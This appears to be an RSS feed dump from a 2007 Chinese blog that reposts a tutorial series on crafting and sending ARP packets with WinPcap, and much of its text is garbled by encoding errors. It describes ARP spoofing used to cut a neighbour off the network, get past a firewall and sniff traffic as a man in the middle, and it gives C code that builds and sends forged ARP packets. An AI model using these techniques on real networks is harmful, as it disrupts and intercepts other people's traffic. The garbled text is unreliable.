Q{Q网卡MAC地址相关信息大全Q整理)Q下Q?/title><link>http://www.tkk7.com/yczz/articles/100061.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:56:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100061.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100061.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100061.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100061.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100061.html</trackback:ping><description><![CDATA[     摘要: 如何实现修改|卡物理地址的三U方? 同样要感谢胡大虾 1 ? C块可以通过? eeprom 物理的修改网卡地址Q这U卡现在 ...  <a href='http://www.tkk7.com/yczz/articles/100061.html'>阅读全文</a><img src ="http://www.tkk7.com/yczz/aggbug/100061.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:56 <a href="http://www.tkk7.com/yczz/articles/100061.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Q{Q网卡MAC地址相关信息大全Q整理)Q上Q?/title><link>http://www.tkk7.com/yczz/articles/100060.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:54:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100060.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100060.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100060.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100060.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100060.html</trackback:ping><description><![CDATA[     摘要: 首先要感? jzyhummel( 刀? [ 媄 ]) 兄弟 提供的部分资? ^_^      |卡地址q个概念有点h不清。因为实际上有两个地址Q? mac 地址和物理地址 ...  <a href='http://www.tkk7.com/yczz/articles/100060.html'>阅读全文</a><img src ="http://www.tkk7.com/yczz/aggbug/100060.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:54 <a href="http://www.tkk7.com/yczz/articles/100060.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Q{Q手把手教你捕获数据??【数据包的游戏系列之二?/title><link>http://www.tkk7.com/yczz/articles/100059.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:53:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100059.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100059.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100059.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100059.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100059.html</trackback:ping><description><![CDATA[     摘要: B. 打开相应|卡q设|ؓh模式Q?    在此之前肯定要有一D让用户选择|卡、ƈ获得用户选择的网卡的名字的代码,既然上面已经可以获得所有网卡的名字了,q段代码暂且略q了? ...  <a href='http://www.tkk7.com/yczz/articles/100059.html'>阅读全文</a><img src ="http://www.tkk7.com/yczz/aggbug/100059.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:53 <a href="http://www.tkk7.com/yczz/articles/100059.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Q{Q手把手教你捕获数据??【数据包的游戏系列之二?/title><link>http://www.tkk7.com/yczz/articles/100058.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:51:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100058.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100058.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100058.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100058.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100058.html</trackback:ping><description><![CDATA[     摘要: ?    a       l常看到论坛有h...  <a href='http://www.tkk7.com/yczz/articles/100058.html'>阅读全文</a><img src ="http://www.tkk7.com/yczz/aggbug/100058.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:51 <a href="http://www.tkk7.com/yczz/articles/100058.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Q{Q手把手教你玩{ARP包(完)【数据包的游戏系列之一?http://www.tkk7.com/yczz/articles/100057.html飞鸟飞鸟Fri, 16 Feb 2007 07:49:00 GMThttp://www.tkk7.com/yczz/articles/100057.htmlhttp://www.tkk7.com/yczz/comments/100057.htmlhttp://www.tkk7.com/yczz/articles/100057.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/100057.htmlhttp://www.tkk7.com/yczz/services/trackbacks/100057.html
作者:
   CSDN  VC/MFC |络~程PiggyXP  ^_^
 
本篇目录Q??xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>

    四。ARP包的游戏

      1 .   伎?/font>

      2.    ARPƺ骗的实?/font>

      3.   ZARPƺ骗的监听原?/font>  

 

四.ARP包的游戏

既然我们可以自己来填充数据包Q那么来玩些 ARP 的“小游戏”欺骗就是易如反掌了Q当Ӟ是在没有安全防护的网l里 Q比如只?/span> hub 或者交换机把你们相q,而没有\由分D?/span> ……^_^

下面我就由浅入深的讲一些介l一些关?/span> ARP 的小伎俩?/span>

 

1. 伎?/span>

1)       你可以试着发一个请求包q播Q其中的 ARP 帧里关于你的信息填成q样Q?/span>

( Z节省幅Q我只写需要特别指出的填充字段 )

发送方MAC

6

随便乱填一个错误的

发送方IP

4

  填上你的IP

   出现什么结果?是不是弹Z?/span> IP 地址冲突的提C?呵呵Q同L道理Q如果发送方 IP 填成别h的,然后每隔 1 U发一?/span> ……?.-_-b

 

2)       比如你们都靠一个网?/span> 192.168.0.1 上网 Q如果你惌 192.168.0.77 上不了网Q就可以伪装成网关给 192.168.0.77 发一个错误的 ARP 响应?/span> , like this

发送方MAC

6

随便乱填一个错误的

发送方IP

4

  |关IP 192.168.0.1

接收方就?/span> 192.168.0.77 的相关信息,发送之后,它还能上|不Q?/span>

q样能折腾他好一阵子了,只要它的pȝ得不到正的到网关的 ARP 映射表它׃直上不了|了 ^_^

           呵呵cM的伎俩还有很多,不过只停留在q点东西上也没什么意思,q是看看E微高深一点的?/span> ^_^

 

       2.        ARP ƺ骗

因ؓ在以太网里,|络讑֤是?/span> MAC 信息来识别的计算机的Q比?/span> A 电脑知道 MAC 地址?/span> 22-22-22-22-22-22 的电脑是 B Q而如果我l?/span> A 发送一?/span> ARP 响应包,告诉它我?/span> MAC ?/span> 22-22-22-22-22-22 的话Q?/span> A 同样会认为我的计机?/span> B 了,那么好,我们设想有这么一个环境,

A 的防火墙只对 IP ?/span> 192.168.0.2 MAC ?/span> 22-22-22-22-22-22 ?/span> B 有信dp,而且 A 打开?/span> 21 端口提供 FTP 服务Q正常情况下因ؓ防火墙的~故我们的计机是连不到 A 的,

于是我们惛_法让 B down 掉,或者在它关机的时候,我们把我们的 IP Ҏ B ?/span> 192.168.0.2 Q然后给 A 发送一?/span> ARP 回应包,告诉 A 更新一?/span> ARP ~存列表Q?/span> 192.168.0.2 ?/span> IP 映射到我们的
MAC
地址上来Q于是,奇迹出现了,我们可以q到 A ?/span> FTP 上了Q防火墙失效?/span> ^_^

不过q个办法只能在同|段内生效,如果我们?/span> A 不在一个网D内Q那p复杂的多了,q要配合 ICMP 的重定向来控制报文的路由Q这个我准备在以后阐q?/span> ICMP 包的时候详l讲解,׃再此多说了?/span>

    3.        Z ARP ƺ骗的监听原?/span>

监听的技术有很多了,不过我们常用?/span> sniffer 工具只能在基?/span> hub 的网l中起作用,到哪怕是交换机都无能为力了,q个时候我们的 ARP ƺ骗技术就z上用场了?/span>

q是假设有三C?/span> A,B, q有我们的主机,位于同一个交换式局域网?/span>

A ?/span> B 正在通信Q如果我们想要刺?/span> A ―?/span> >B 通信的内容,于是我们可以给 A 发送一个伪造的 ARP 回应包,告诉 A Q?/span> B ?/span> IP 对应?/span> MAC 条目为我们的 MAC 地址Q于是, A 也就会相应的h自己?/span> ARP ~存Q将发给 B 的数据,源源不断的发送到我们的主Z来,q样我就可以Ҏ收到的数据包q行分析好了,辑ֈ了监听的目的。当Ӟ因ؓ动?/span> ARP ~存是动态的Q有时旉的,所以我们必L隔一D|间就l?/span> A 发送一?/span> ARP 回应?/span>

虽然我们q样辑ֈ了目的,但是 A ?/span> B 的通信却被停止了,Z不让 B 发现Q我们还要对每次接收到的数据包进行{发,全部都{发给 B Q这样就天衣无缝?/span> ^_^

同样的,如果我们q想监听 B à A 的数据包Q一L B 发一?/span> ARP 回应包,告诉 B Q?/span> A ?/span> IP 对应?/span> MAC 是我们的L MAC Q于?/span> B ?/span> A 的数据包也源源不断的发到我们的主Z来了Q当然我们也是一栯对这些数据包q行转发Q如图:

A  <------>    我们的主?/span>    <------>   B

一切都无误的话Q?/span> A ?/span> B 的通信内容p样不知不觉的被我们监听到?/span> ^_^

具体的代码实现由于篇q的关系我就不放在这里讲了,如果需要我׃门另写篇文章附上完整代码?/span>

xQ我们的 ARP 基础知识p完了Q但愿您能从中有所收获

 

后记Q?/span>

 因ؓ本h开发都是?/span> VC++.net 2003 Q所以没有安?/span> .net 的朋友是打不开工程的, 可以试一?/span> vckbase 上的工程转换工具Q本人没有试q,不保证有?/span>

              http://www.vckbase.com/tools/assist/prjconverter.rar

而且本文的代码用了 winpcap 开发包Q是要另外安?/span> ainpcap 驱动?/span>

读者可以安装我代码包里的驱动,不过它更新很快,可以到它主页上去下蝲最新版?/span>

        http://winpcap.polito.it/install/default.htm

    不做开发的读者,只用下蝲q安装这个就可以?/span> WinPcap auto-installer (driver +DLLs)

   我的原文及源码下载地址E后贴出Q请x本帖 ^_^

   

     源码下蝲地址Q新鲜出炉,非常感谢 _foo 兄弟提供的空?/font>

http://iunknown.com.cn/csdn/network/ARPPlayer_By_PiggyXP.rar



飞鸟 2007-02-16 15:49 发表评论
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Q{Q手把手教你玩{ARP包(三)【数据包的游戏系列之一?/title><link>http://www.tkk7.com/yczz/articles/100056.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:45:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100056.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100056.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100056.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100056.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100056.html</trackback:ping><description><![CDATA[ <div id="2aswqag" class="postText"> <div> <font face="宋体" color="#ff00ff" size="2">作者:</font> </div> <div> <font face="宋体"> <font size="2"> <font color="#0000ff">CSDN  VC/MFC |络~程</font> <font color="#f70909">PiggyXP</font>  <font color="#0909f7">^_^</font></font> </font> </div> <div> <strong> <font face="宋体" color="#800080" size="2"> </font> </strong> </div> <div> <font size="2"> <font color="#ff00ff"> <strong> </strong> 目录Q?/font> </font> <div> <font face="Times New Roman"> <strong> </strong> </font> </div> <div> <font face="Times New Roman" color="#0000ff" size="2">二。发送数据包的编E实?/font> </div> <div> <font color="#0000ff" size="2">   1.  填充数据?/font> </div> <div> <font color="#0000ff" size="2">   2.  发送数据包</font> </div> <div> <font color="#0000ff" size="2">三。一些附加步骤及说明</font> </div> <div> <font color="#0000ff" size="2">   1.  如果在VC中用winpcap</font> </div> <div> <font color="#0000ff" size="2">   2.  获得|卡信息列表</font> </div> <div> <font color="#0000ff" size="2">   3.  获得pȝARP信息列表</font> </div> <div> <font size="2"> </font> </div> <div> <font color="#666699" size="2">         ................紧接?/font> <font color="#666699" size="2">?...............</font> </div> <div> <font size="2"> </font> </div> <div> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'">        </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">填充数据?/span> </div> <div> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> </span> </div> <div> <font size="2">下面我D个填充包头的例子Q我首先定义个了一个{换字W的函数Q如?/font> </div> </div> <div> <font size="2"> </font> </div> <div align="left"> <font color="#5ea25e" size="2">/****************************************************************************</font> </div> <div align="left"> <font color="#5ea25e" size="2"> *   Name & Params::</font> </div> <div align="left"> <font color="#5ea25e" size="2"> *             formatStrToMAC</font> </div> <div align="left"> <font color="#5ea25e" size="2"> *             (</font> </div> <div align="left"> <font color="#5ea25e" size="2"> *                 const LPSTR lpHWAddrStr : 用户输入的MAC地址字符?/font> </div> <div align="left"> <font color="#5ea25e" size="2"> *                 unsigned char *HWAddr :   q回的MAC地址字符?赋给数据包结构体)</font> </div> <div align="left"> <font color="#5ea25e" size="2"> *             )</font> </div> <div align="left"> <font color="#5ea25e" size="2"> *   Purpose:</font> </div> <div align="left"> <font color="#5ea25e" size="2"> *             用戯入的MAC地址字符转成数据包结构体需要的格式</font> </div> <div align="left"> <font color="#5ea25e" size="2"> ****************************************************************************/</font> </div> <div align="left"> <font color="#2248dd" size="2">void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)</font> </div> <div align="left"> <font color="#2248dd" size="2">{</font> </div> <div align="left"> <font color="#2248dd" size="2">       unsigned int i, index = 0, value, temp;</font> </div> <div align="left"> <font color="#2248dd" size="2">      unsigned char c;</font> </div> <div align="left"> <font color="#2248dd" size="2"> </font> </div> <div align="left"> <font color="#2248dd" size="2">      _strlwr(lpHWAddrStr);                                                   // 转换成小?/font> </div> <div align="left"> <font color="#2248dd" size="2"> </font> </div> <div align="left"> <font color="#2248dd" size="2">      for (i = 0; i < strlen(lpHWAddrStr); i++)</font> </div> <div align="left"> <font color="#2248dd" size="2">     {</font> </div> <div align="left"> <font color="#2248dd" size="2">           c = *(lpHWAddrStr + i);</font> </div> <div align="left"> <font color="#2248dd" size="2">            if (( c>='0' && c<='9' ) || ( c>='a' && c<='f' ))</font> </div> <div align="left"> <font color="#2248dd" size="2">           {</font> </div> <div align="left"> <font color="#2248dd" size="2">               if (c>='0' && c<='9')  temp = c - '0';                         // 数字</font> </div> <div align="left"> <font color="#2248dd" size="2">               if (c>='a' && c<='f')  temp = c - 'a' + 0xa;               // 字母</font> </div> <div align="left"> <font color="#2248dd" size="2">               if ( (index % 2) == 1 )</font> </div> <div align="left"> <font color="#2248dd" size="2">              {</font> </div> <div align="left"> <font color="#2248dd" size="2">                   value = value*0x10 + temp;</font> </div> <div align="left"> <font color="#2248dd" size="2">                   HWAddr[index/2] = value;</font> </div> <div align="left"> <font color="#2248dd" size="2">              }</font> </div> <div align="left"> <font color="#2248dd" size="2">              else value = temp;</font> </div> <div align="left"> <font color="#2248dd" size="2">              index++;</font> </div> <div align="left"> <font color="#2248dd" size="2">         }</font> </div> <div align="left"> <font color="#2248dd" size="2">               if (index == 12) break;</font> </div> <div align="left"> <font color="#2248dd" size="2">        }</font> </div> <div> <font color="#2248dd" size="2">}</font> </div> <div> <font size="2"> </font> </div> <div> <font color="#5ea279" size="2">// 开始填充各个字D?/font> </div> <div> <font color="#1111ee" size="2">ARPPACKET ARPPacket;                                                  // 定义ARPPACKETl构体变?/font> </div> <div> <font color="#1111ee" size="2"> </font> </div> <div> <font color="#1111ee" size="2">    memset(&ARPPacket, 0, sizeof(ARPPACKET));                      // 数据包初始化</font> </div> <div align="left"> <font color="#1111ee" size="2"> </font> </div> <div align="left"> <font color="#1111ee" size="2">     formatStrToMAC(“DLC源MAC字符东y?ARPPacket.dlcHeader.SrcMAC);       // DLC帧头</font> </div> <div align="left"> <font color="#1111ee" size="2">     formatStrToMAC(“DLC目的MAC字符东y?ARPPacket.dlcHeader.DesMAC);</font> </div> <div align="left"> <font color="#1111ee" size="2"> </font> </div> <div align="left"> <font color="#1111ee" size="2">     formatStrToMAC(“ARP源MAC字符东y?ARPPacket.arpFrame.Send_HW_Addr);  // 源MAC</font> </div> <div align="left"> <font color="#1111ee" size="2">     ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP);              // 源IP</font> </div> <div align="left"> <font color="#1111ee" size="2">     formatStrToMAC(“ARP目的MAC字符东y?ARPPacket.arpFrame.Targ_HW_Addr); // 目的MAC</font> </div> <div align="left"> <font color="#1111ee" size="2">     ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP);               // 目的IP</font> </div> <div align="left"> <font color="#1111ee" size="2">     </font> </div> <div align="left"> <font color="#1111ee" size="2">     ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType);        // arp包类?/font> </div> <div align="left"> <font color="#1111ee" size="2">     </font> </div> <div align="left"> <font color="#1111ee" size="2">     // 自动填充的常?/font> </div> <div align="left"> <font color="#1111ee" size="2">     ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网cd</font> </div> <div align="left"> <font color="#1111ee" size="2">     ARPPacket.arpFrame.HW_Type = htons((unsigned short)1);           // gcd</font> </div> <div align="left"> <font color="#1111ee" size="2">     ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800);    // 上层协议cd</font> </div> <div align="left"> <font color="#1111ee" size="2">     ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6;                 // MAC地址长度</font> </div> <div> <font color="#1111ee" size="2">     ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4;               // IP地址长度</font> </div> <div> <font size="2"> </font> </div> <div> <font size="2">That’s all ! ^_^</font> </div> <div> <font size="2">填充完毕之后Q我们需要做的就是把我们的ARPPACKETl构体发送出?/font> </div> <div> <font size="2"> </font> </div> <div> <font size="2">2.发送ARP数据包:</font> </div> <div> <font size="2"> </font> </div> <div> <font size="2">我们发送ARP包就要用到winpcap的api了,具体步骤及函数是q样的,Z单易懂,我把错误处理的地斚wL了,详见代码</font> </div> <div align="left"> <font color="#4db34d" size="2">/**********************************************************************</font> </div> <div align="left"> <font color="#4db34d" size="2">*    Name & Params::</font> </div> <div align="left"> <font color="#4db34d" size="2">*             SendARPPacket()</font> </div> <div align="left"> <font color="#4db34d" size="2">*    Purpose:</font> </div> <div align="left"> <font color="#4db34d" size="2">*             发送ARP数据?/font> </div> <div align="left"> <font color="#4db34d" size="2">*    Remarks:</font> </div> <div align="left"> <font color="#4db34d" size="2">*             用的是winpcap的api函数</font> </div> <div align="left"> <font color="#4db34d" size="2">***********************************************************************/</font> </div> <div align="left"> <font color="#1a42e6" size="2">void SendARPPacket()</font> </div> <div align="left"> <font color="#1a42e6" size="2">{</font> </div> <div align="left"> <font color="#1a42e6" size="2">     char *AdapterDeviceName =GetCurAdapterName();     // 首先获得获得|卡名字</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> </div> <div align="left"> <font color="#1a42e6" size="2">     lpAdapter = PacketOpenAdapter(AdapterDeviceName);     // Ҏ|卡名字打开|卡</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> </div> <div align="left"> <font color="#1a42e6" size="2">     lpPacket = PacketAllocatePacket();               // lPACKETl构指针分配内存</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> </div> <div align="left"> <font color="#1a42e6" size="2">     PacketInitPacket(lpPacket, &ARPPacket, sizeof(ARPPacket)); //初始化PACKETl构指针</font> </div> <div> <font color="#1a42e6" size="2">                                             // 其中的ARPPacket是我们先前填充的ARP?/font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> </div> <div align="left"> <font color="#1a42e6" size="2">     PacketSetNumWrites(lpAdapter, 1);               // 每次只发送一个包</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> </div> <div align="left"> <font color="#1a42e6" size="2">     PacketSendPacket(lpAdapter, lpPacket, true)       // Send !!!!! ^_^</font> </div> <div align="left"> <font color="#1a42e6" size="2"> </font> </div> <div align="left"> <font color="#1a42e6" size="2">     PacketFreePacket(lpPacket);                     // 释放资源</font> </div> <div align="left"> <font color="#1a42e6" size="2">     PacketCloseAdapter(lpAdapter);</font> </div> <div> <font color="#1a42e6" size="2">}</font> </div> <div> <font size="2"> </font> </div> <div> <font size="2">呵呵Q至此,关于ARP包最关键的部分就讲完了,你现在就可以来随心所Ʋ的发送自qARP包了</font> </div> <div> <font size="2"> </font> </div> <div> <font size="2">既然作ؓ一“科普文章”,接下来我再讲一讲与整个目有关的附加步骤以及说?/font> </div> <div> <font size="2"> </font> </div> <div> <font color="#ff00ff" size="2">三.附加步骤以及说明</font> </div> <div> <font color="#bba344"> <font size="2"> <font face="Times New Roman">1. </font>如何?font face="Times New Roman">VC</font>中?font face="Times New Roman">winpcap</font>驱动</font> </font> </div> <div> <font size="2"> <font face="Times New Roman">       </font>虽然<font face="Times New Roman">winpcap</font>开发包使用h非常便,但是前期准备工作q是要费一番功夫的Q缺一不可?font face="Times New Roman">^_^</font></font> </div> <div> <font size="2">       首先是要安装它的驱动程序了Q可以到它的主页下蝲Q更新很快的</font> </div> <div>     <a ><font face="Times New Roman" size="2">http://winpcap.polito.it/install/default.htm</font></a></div> <div> <font size="2">     下蝲WinPcap auto-installer (driver +DLLs)Q直接安装就好了Q或者我提供的代码包里面也有?/font> </div> <div> <font size="2">     希望以后用winpcap作开发的朋友Q还需要下?Developer's packQ解压即可?/font> </div> <div> <font size="2">     </font> </div> <div> <font size="2">        然后Q需要设|我们工E的附加包含目录为我们下载Developer's pack开发包?font face="Times New Roman">Inclulde</font>目录Q连接器的附加依赖库讄为Developer's pack的lib目录?/font> </div> <div> <font size="2">       当然Q因为我们的工作比较单,是借用<font face="Times New Roman">winpcap</font>发送数据包而已Q所以只用从</font> </div> <div> <font size="2"> <font face="Times New Roman">winpcap</font>开发包?font face="Times New Roman">include</font>文g夹中Q拷?font face="Times New Roman"><strong>Packet32.h</strong></font>Q到我们的工E来Qƈ且包含它可</font> </div> <div> <font size="2">以,</font> <font size="2">但是要注意,<font face="Times New Roman">Packet32.h</font>本nq要包含一?font face="Times New Roman"><strong>Devioctl.h</strong></font>Q也要一q拷贝进来,当然q有q?/font> </div> <div> <font size="2">行库<font face="Times New Roman"><strong>Packet.lib</strong></font>Q一共就是需要拷?font face="Times New Roman">3</font>个文件了Q如果加入库不用我多说了吧,在工E里面设</font> </div> <div> <font size="2">|,或者是在需要它的地方加?font face="Times New Roman"></font>#pragma comment(lib, "Packet.lib")了?/font> </div> <div> <font face="Times New Roman" size="2"> </font> </div> <div> <font size="2"> <font face="Times New Roman">        </font>整个目其实可以分ؓ四个部分Q?strong>填充数据包、发送数据包、枚丄l网卡列?/strong>?/font> </div> <div> <font size="2">相关信息以及<strong>枚Dpȝ</strong><font face="Times New Roman"><strong>ARP</strong></font><strong>~存列表</strong>Q下面我再讲一下如何获得系l的|卡以及<font face="Times New Roman">ARP</font>?/font> </div> <div> <font size="2">表,q两个部分都要用?font face="Times New Roman">IP Helper</font>?font face="Times New Roman">api</font>Q所以要包含<Iphlpapi.h>以及库文件Iphlpapi.libQ?/font> </div> <div> <font size="2">其实都是很简单的Q只用寥寥几行就OK?/font> </div> <div> <font color="#f709c7"> <font size="2"> <font face="Times New Roman">2.     </font>枚Dpȝ|卡以及信息</font> </font> </div> <div> <font size="2">最好是先定义关于网卡信息的一个结构体Q这h得结构比较清?/font> </div> <div align="left"> <font color="#4db34d" size="2">// |卡信息</font> </div> <div align="left"> <font color="#2b2bd5" size="2">typedef struct tagAdapterInfo          </font> </div> <div align="left"> <font color="#2b2bd5" size="2">{</font> </div> <div align="left"> <font color="#2b2bd5" size="2">              char szDeviceName[128];           // 名字</font> </div> <div align="left"> <font color="#2b2bd5" size="2">              char szIPAddrStr[16];             // IP</font> </div> <div align="left"> <font color="#2b2bd5" size="2">              char szHWAddrStr[18];             // MAC</font> </div> <div align="left"> <font color="#2b2bd5" size="2">              DWORD dwIndex;                    // ~号          </font> </div> <div> <font color="#2b2bd5" size="2">}INFO_ADAPTER, *PINFO_ADAPTER;</font> </div> <div> <font size="2"> </font> </div> <div align="left"> <font color="#55aa77" size="2">/*********************************************************************</font> </div> <div align="left"> <font color="#55aa77" size="2">*    Name & Params::</font> </div> <div align="left"> <font color="#55aa77" size="2">*             AddAdapInfoToList</font> </div> <div align="left"> <font color="#55aa77" size="2">*             (</font> </div> <div align="left"> <font color="#55aa77" size="2">*                  CListCtrl& list :  CARPPlayerDlg传入的list句柄</font> </div> <div align="left"> <font color="#55aa77" size="2">*             )</font> </div> <div align="left"> <font color="#55aa77" size="2">*    Purpose:</font> </div> <div align="left"> <font color="#55aa77" size="2">*             获得pȝ的网卡信息,q将其添加到list控g?/font> </div> <div align="left"> <font color="#55aa77" size="2">*    Remarks:</font> </div> <div align="left"> <font color="#55aa77" size="2">*             获得|卡IP及MAC用到了IpHelper api GetAdaptersInfo</font> </div> <div align="left"> <font color="#55aa77" size="2">******************************************************************/</font> </div> <div align="left"> <font color="#5233cc" size="2">void AddAdapInfoToList(CListCtrl& list)</font> </div> <div align="left"> <font color="#5233cc" size="2">{</font> </div> <div align="left"> <font color="#5233cc" size="2">     char tempChar;</font> </div> <div align="left"> <font color="#5233cc" size="2">     ULONG uListSize=1;</font> </div> <div align="left"> <font color="#5233cc" size="2">     PIP_ADAPTER_INFO pAdapter;           // 定义PIP_ADAPTER_INFOl构存储|卡信息</font> </div> <div align="left"> <font color="#5233cc" size="2">     int nAdapterIndex = 0;</font> </div> <div align="left"> <font color="#5233cc" size="2"> </font> </div> <div align="left"> <font color="#5233cc" size="2">     DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);//关键函数</font> </div> <div align="left"> <font color="#5233cc" size="2"> </font> </div> <div align="left"> <font color="#5233cc" size="2">     if (dwRet == ERROR_BUFFER_OVERFLOW)</font> </div> <div align="left"> <font color="#5233cc" size="2">     {</font> </div> <div align="left"> <font color="#5233cc" size="2">  PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO)new(char[uListSize]);</font> </div> <div align="left"> <font color="#5233cc" size="2">  dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);</font> </div> <div align="left"> <font color="#5233cc" size="2">  if (dwRet == ERROR_SUCCESS)</font> </div> <div align="left"> <font color="#5233cc" size="2">  {</font> </div> <div align="left"> <font color="#5233cc" size="2">     pAdapter = pAdapterListBuffer;</font> </div> <div align="left"> <font color="#5233cc" size="2">     while (pAdapter)                                              // 枚D|卡然后相x目添加到List?/font> </div> <div align="left"> <font color="#5233cc" size="2">     {</font> </div> <div align="left"> <font color="#5233cc" size="2">        // |卡名字</font> </div> <div align="left"> <font color="#5233cc" size="2">          CString strTemp = pAdapter->AdapterName;                     </font> </div> <div align="left"> <font color="#5233cc" size="2">          strTemp = "\\Device\\NPF_" + strTemp;                        // 加上前缀 </font> </div> <div align="left"> <font color="#5233cc" size="2">          list.InsertItem(nAdapterIndex,strTemp);                  </font> </div> <div align="left"> <font color="#5233cc" size="2">          strcpy(AdapterList[nAdapterIndex].szDeviceName,strTemp);</font> </div> <div align="left"> <font color="#5233cc" size="2">          // IP</font> </div> <div align="left"> <font color="#5233cc" size="2">          strcpy(AdapterList[nAdapterIndex].szIPAddrStr,</font> </div> <div align="left"> <font color="#5233cc" size="2">                                                 pAdapter->IpAddressList.IpAddress.String );</font> </div> <div align="left"> <font color="#5233cc" size="2">          list.SetItemText(nAdapterIndex,1,AdapterList[nAdapterIndex].szIPAddrStr);</font> </div> <div align="left"> <font color="#5233cc" size="2">          // MAC</font> </div> <div align="left"> <font color="#5233cc" size="2">          formatMACToStr( AdapterList[nAdapterIndex].szHWAddrStr, pAdapter->Address );</font> </div> <div align="left"> <font color="#5233cc" size="2">          list.SetItemText(nAdapterIndex,2,AdapterLis[nAdapterIndex].szHWAddrStr);</font> </div> <div align="left"> <font color="#5233cc" size="2">          // |卡~号</font> </div> <div align="left"> <font color="#5233cc" size="2">          AdapterList[nAdapterIndex].dwIndex = pAdapter->Index;          </font> </div> <div align="left"> <font color="#5233cc" size="2"> </font> </div> <div align="left"> <font color="#5233cc" size="2">          pAdapter = pAdapter->Next;</font> </div> <div align="left"> <font color="#5233cc" size="2">          nAdapterIndex ++;</font> </div> <div align="left"> <font color="#5233cc" size="2">          }</font> </div> <div align="left"> <font color="#5233cc" size="2">     delete pAdapterListBuffer;</font> </div> <div align="left"> <font color="#5233cc" size="2">     }</font> </div> <div align="left"> <font color="#5233cc" size="2">}</font> </div> <div align="left"> <font color="#5233cc" size="2">}</font> </div> <div align="left"> <font size="2"> </font> </div> <div align="left"> <div align="left"> <font color="#e61ae6" size="2">2)获取ARP条目列表</font> </div> <div align="left"> <font color="#5ea26b" size="2">// ARP条目信息</font> </div> <div align="left"> <font color="#5233cc" size="2">typedef struct tagARPInfo             </font> </div> <div align="left"> <font color="#5233cc" size="2">{</font> </div> <div align="left"> <font color="#5233cc" size="2">     char szIPAddrStr[16];              // IP </font> 